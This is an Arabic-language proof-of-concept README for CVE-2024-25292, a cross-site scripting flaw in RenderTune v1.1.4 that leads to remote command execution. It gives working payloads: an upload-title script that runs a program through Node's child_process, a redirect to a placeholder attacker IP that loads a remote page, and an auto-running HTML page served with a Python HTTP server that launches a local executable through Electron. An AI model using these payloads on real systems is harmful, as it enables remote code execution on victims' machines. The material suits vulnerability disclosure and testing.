
استغلال XSS إلى RCE في RenderTune v1.1.4
إثبات المفهوم لثغرة CVE-2024-25292.
تتيح ثغرة البرمجة النصية عبر المواقع (XSS) في RenderTune v1.1.4 للمهاجمين تنفيذ نصوص ويب أو HTML عشوائية عبر حمولة مصمّمة تُحقن في معامل عنوان الرفع (Upload Title).
يحتوي هذا المستودع على تطبيق مثال معرّض للثغرة واستغلال إثبات المفهوم (POC) لها.
إنها ثغرة تتيح تنفيذ الأوامر عن بُعد (RCE) عبر XSS. يوجد جزء من العنوان قابل للـ XSS، لذا فهي ثغرة تتيح تنفيذ الأوامر عن بُعد (RCE) عبر صيغة NodeJS من خلال صيغة XSS.
الخطوة 1) تأكيد حدوث XSS في جزء العنوان ※ في هذا الوقت، لن يتم تسجيل عنصر الرفع ما لم يتم إرفاق الصورة
<b>jruru</b>

الخطوة 2) لذلك، تم تكوينه لاستخدام XSS لتنفيذ أوامر نظام NodeJS.
<script>require('child_process').exec('C:/Windows/System32/calc.exe')</script>

※ عندما تحاول الهجوم باستخدام window.location، تنتقل تلقائيًا إلى الصفحة التي عيّنتها في كل مرة تشغّل فيها التطبيق.
<script>window.loaction='http://[attacker IP]/[PoC.html]'</script>
ملاحظة: ※ إذا أردت اختباره بسرعة، أنشئ خادمًا على جهاز المهاجم باستخدام الكود التالي.
$ python -m http.server 80
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<!-- Run scripts using on-click properties directly to the tag -->
<a id="jruruLink" href="#" onclick="openExternal()">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU');
alert(e);
}
}
// Run script automatically when loading pages
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
